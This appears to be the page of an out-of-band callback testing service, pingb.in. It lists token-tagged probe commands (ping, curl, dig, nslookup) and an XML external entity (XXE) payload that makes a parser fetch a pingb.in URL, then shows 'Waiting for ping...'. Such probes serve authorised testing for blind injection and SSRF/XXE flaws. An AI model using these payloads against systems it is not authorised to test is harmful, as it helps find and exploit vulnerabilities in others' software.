$ ping -c1 -p 005840a21e694cb0cd0dfc1a5121ea00 pingb.in
 
$ curl pingb.in/p/5840a21e694cb0cd0dfc1a5121ea
 
$ dig 5840a21e694cb0cd0dfc1a5121ea @pingb.in
 
$ dig 5840a21e694cb0cd0dfc1a5121ea.ns.pingb.in
 
C:\> nslookup 5840a21e694cb0cd0dfc1a5121ea pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/5840a21e694cb0cd0dfc1a5121ea">]>
    <foo>&xxe;</foo>
 
Waiting for ping...